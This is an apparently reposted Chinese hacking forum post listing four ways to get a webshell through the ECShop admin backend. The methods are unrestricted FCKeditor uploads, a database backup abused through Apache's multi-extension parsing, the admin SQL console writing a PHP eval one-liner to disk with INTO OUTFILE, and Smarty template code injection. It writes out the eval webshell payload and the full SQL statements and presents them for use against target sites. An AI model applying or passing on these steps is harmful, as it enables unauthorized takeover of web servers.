yixiaoqi00 2011-03-30
方法一:龙儿心发明的,版本未定,估计都行。
进入后台-系统设置-Flash播放器管理
可以上传任意文件。
[includes/fckeditor /editor/filemanager/connectors/php/config.php文件对Media没有任何限制,直接Type=Media 上传你的webshell,访问路径为http://target/images/upload/Media/xxx.php]
方法二:另外一种是利用ecshop后台的数据库备份功能
这里选择自定义备份,目的是使你备份出来的文件尽量的小,要是太大的话也很麻烦。
然后去前台留个言,内容是我们的一句话木马,接着在后台选择备份ecs_feedback这张表,就是存放留言的表,如图:
然后会显示备份成功。
但是ecshop备份的文件都强行会在你填的备份的名字后面加上.sql扩展名(元备份名我填的是l4yn3.php),如图。
这么做无非就是提高安全性,可是设计者忽略了一个问题,如果php是在apache下运行的,利用apache的文件解析漏洞这种方式形同虚设。
因为apache有个漏洞就是对文件名是1.php.sql这种形式,只要最后的文件扩展名是apache不能能解析的,他就会按照php文件来解析它,那在这里sql文件就是apache不能够解析的文件,那么他理所当然会把这个文件当作php文件来执行。
所以如果是apache+php的话,即使文件名变成了上面这样,也可以正常解析,你所需要做的就是点一下备份后的链接。
所以您看出来了,这种拿shell的方式是需要你的环境是apache+php的。而且还有个条件是GPC魔术转换不能开启,所以也很鸡肋。
方法三:ecshop后台有一个功能是sql查询,如图:
其实感觉在一个管理系统的后台放这么个功能根本没用,有多少网站管理员有这么高的觉悟,会用这个?
不过也不错,便宜了我们小菜拿shell。
方法就像phpmyadmin一样直接操作sql语句导出一句话木马拿shell。
语句如下:
show databases;
use 数据库名;
create a(cmd text not null);
insert into a(cmd) values('<?php eval($_POST[cmd]);?>');
select cmd from a into outfile '导出路径';
drop table if exists a;
很常规的语句。也许有人会问不知道网站路径怎么办,那要导出到哪呢?这里有一个技巧就是 use 数据库名; 这句话,其实在这个sql查询功能中默认用的数据库就是本网站的数据库,开发者设计的时候不会考虑你去use 其他的数据库,所以这里你用"use 数据名库"这句时,会产生一个警告,但并不影响sql的运行,却可以成功爆出网站的路径,多次测试均成功,如图:
这样就爆出了路径,用于导出。
但是有个问题是你最后outfile文件时如果不是mysql的root权限,是没有权限导出的,所以这种方法必须要求你的mysql权限为root。
方法四:这招简单方法拿shell
进后台。如下步骤:
插一句话,点确定之后访问http://www.***.com/myship.php
这个方法的原理据说是ECSHOP的smarty模板机制是允许直接执行php代码,从而导致漏洞产生。我的smarty没什么了解,不过会努力的。
ps:遇到了个linux的,权限限死,不给运行,直接插到页面里直接运行!
第五种:oldjun大牛提供的据说条件更苛刻我就不转了,需要时大家自己找吧!
逍遥复仇点评:二、三种方法都有一定的前提条件,一、四如果通杀蛮爽的,大家自行测试!~
本文由逍遥复仇(http://www.cqzh.cn/)辛苦整理,转载请注明,谢谢合作~!